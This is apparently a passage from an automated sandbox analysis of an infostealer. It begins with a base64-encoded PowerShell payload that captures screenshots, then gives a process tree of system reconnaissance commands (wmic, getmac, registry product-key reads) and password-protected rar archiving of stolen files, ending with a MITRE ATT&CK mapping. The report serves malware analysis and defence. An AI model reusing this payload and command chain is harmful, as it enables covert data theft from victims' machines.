CAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:5964
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zfv5zf3s\zfv5zf3s.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:5152
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1E3C.tmp" "c:\Users\Admin\AppData\Local\Temp\zfv5zf3s\CSCA5777BFFAFE54E4F85279265C3F798C7.TMP"
        6⤵
        
        PID:2068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2120
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1328
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3572
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3548
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4576
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5092
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3076
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:2088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI29682\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\155XC.zip" *"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2868
  - - C:\Users\Admin\AppData\Local\Temp\_MEI29682\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI29682\rar.exe a -r -hp"123" "C:\Users\Admin\AppData\Local\Temp\155XC.zip" *
      4⤵
      Executes dropped EXE
      PID:1308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2920
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5960
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2420
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3520
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:2528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3760
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

System Information Discovery

T1082

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Exfiltration

Impact